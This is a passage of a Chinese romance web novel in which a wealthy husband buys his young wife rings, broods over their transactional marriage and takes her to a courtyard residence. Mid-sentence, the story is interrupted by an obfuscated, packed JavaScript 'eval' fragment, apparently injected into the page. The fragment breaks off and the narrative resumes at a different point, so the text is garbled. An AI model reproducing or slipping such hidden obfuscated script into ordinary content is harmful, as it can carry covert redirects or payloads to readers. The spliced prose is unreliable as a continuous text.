“我的太太在这儿,不必问我,去问她的主意。”贺徵朝轻呵气,拾起一只未点燃的雪茄,从沙发上起来,富有深意地睇她:“她的主意很正。” 温知禾对他再有万般微词,也无法否认,他人前对外时,总是斯文绅士得令人心动。 尤其是这番话。 温知禾眼睛稍微亮了亮,很努力地摆出并不惊喜的模样,但她的目光,已经不由自主地随着sales的讲解,在一排排钻戒、对戒上巡视。 完全没给他这位阔气的施舍者一个眼神。 贺徵朝临走前,捻了捻雪茄烟蒂,侧身低眉对她说:“两点之前要出发,半个小时,挑好。” 温知禾刚要点头,又听男人淡淡道:“至少先挑出一对儿最喜欢的,剩下的暂时放家里。” 他低沉的嗓音浸润着某种湿意,在她耳廓留下无迹的水痕。 温知禾从sales的话音里抽丝分神,侧目看向他,这回是澄澈的眼神。 贺徵朝本不打算如此阔绰,但每月零花钱都花了,房子也送了,再送她足够戴满十指的戒指似乎也算不了什么。 一切的馈赠都有代价,只要她点头愿意置换。 这或许存在诱骗无知而年轻的少女的成分,可他也相信,她会以各种方式,最大限度地不让自己陷入太过被动的境地。 四目相视,温知禾在下瞬明白他的意思——送到家里的这些,她都可以拥有。 阔气,真的太阔气了。 她慢慢扬起唇角,明媚炯亮的眼也弯起:“好,我知道了。” “谢谢老公。” 对他的称呼,温知禾说得自然坦荡,嗓音也比平时清甜,就像热化的蜜饯。 贺徵朝步子微顿,狭长的双眼慢慢变深,抬手摸了下她的头,虚应一息:“嗯。” - 客厅都是女士,贺徵朝没兴趣参与挑选,干脆找了处视野开阔,空气流动的露台抽烟。 风雪初歇,春日高照,庭院里的灌木地被仍是光秃秃一片,没什么观赏性。 屋檐向下滴落融化的雨露,落在石板上,发出啪嗒啪嗒的声音。 星火在指间忽明,燎起的徐徐白烟,雾蒙蒙地拢他淡漠稀松的面庞,尼古丁的快感令人短暂地闭上双眼。 阖眼间,贺徵朝没由来地想起,在下榻酒店里,温知禾穿着礼宾服,抹着红唇对他笑吟吟的模样;酒店门口前,抱着手机浑身湿气缭绕的模样; 谦卑、顺从、温和,如她的名字。嗓音也是像今日般甜腻,倘若谎言并未被戳穿,贺徵朝也会以为,她真是位混迹酒廊多年,苦苦无法升职的礼宾。 贺徵朝极其低缓的哼笑一声。 她是个会骗人的。 恐怕那句致谢里的称呼,也只是虚与委蛇的周旋。 “我已经挑好了,你要戴吗?” 温知禾的声音从后方传来。 贺徵朝将燃了半截的雪茄放置在烟灰缸里,没起身,漫不经心地侧目看她,半抬起手。 庭院湿漉漉的空气中夹杂着烟草香,是从未灭的烟头里飘来的,贺徵朝身上也沾染了些。 温知禾并不是很喜欢抽烟的男人,但他身上的味道并不难闻。她观他朝上的掌心,以为是要另一枚对戒,便把戒盒放到他手上。 不曾想,贺徵朝合拢的手指却捉住了她的腕骨,落在他缠满青色脉络的大手,犹如珍珠落盘,尽入彀中。 他的手劲不算大,感知指腹的薄茧与束缚,温知禾不由得怔忪。 贺徵朝正垂眼端详她挑出的对戒,由于款式的限制,这枚玫瑰金的碎钻并不算昂贵,但造型确实符合少女心。 “嗯,挑得不错。”贺徵朝淡道,两指扭转她的戒身,抬眼看她,语调轻缓,“怎么就自己戴上了?” 温知禾顿了下,没太听懂他的意思。 难不成他还要做足仪式,帮她戴上? 不待温知禾琢磨清楚,贺徵朝便接过掌心的戒盒,告知她时间已经晚了,该走了。 - 轿车上,贺徵朝收下戒指,也确实佩戴了。 与她同款,戴在同个位置,无名指。 黑色西装革履与白色香风套裙,并排后座,从前方的后视镜里看,乍一眼是像夫妻,但也仅限“像”字。 她的住处她的金库,她的穿着以及许许多多的一切,都是由他定制的规则下施舍的。年龄、身份、见识与身世,他们有着种种霄壤之别,怎么会被所谓的一枚对戒捆缚连结在一起。 他的尾戒应该是被妥善收纳起来了,只留一圈不算清浅的痕迹。温知禾猜想,除了非必要场合下,他所佩戴的婚戒,可能还没尾戒出现频次高,不会留下任何存在的印记。 温知禾明白他何故单身这么多年,却不清楚他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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第二次相伴身侧,做更加亲密的工作,温知禾也曾在网上搜索、对身边人旁敲侧击过贺徵朝的信息。比起之前,这次她查阅了解得会更详尽,对贺家庞大的家族体系、错综复杂的根基脉络都稍微摸了摸。 只可惜,她的搜索能力仍有不足,就连贺徵朝的父母都没搜到。 算了,既来之则安之。 下车踩在石板地上,温知禾牵着手袋链条,望着朱甍碧瓦的门户,深吸口气。 她刚要踏出一步,身侧忽而扬起一只臂弯,将她香风裙下纤细的腰身揽着。 不待她抬头去看,毛呢大衣里的清冽木檀香就已经告知是谁。 他太过高大伟岸,温知禾昂首望睇,只能堪堪及肩,观他硬朗儒雅的面庞下颌。 腰间攀的手,隔着不算厚重的衣料,莫名滚烫。 “阿嚏!” 温知禾皱着眉头,猝不及防地打了个喷嚏。 刚过门进四合院前庭,贺徵朝看眼她:“冷?” 温知禾鼻子有些痒,眼尾带泪红,摇摇头:“不冷。” ——也许是对您过敏。 不然为什么一碰就浑身起疙瘩。 真怪。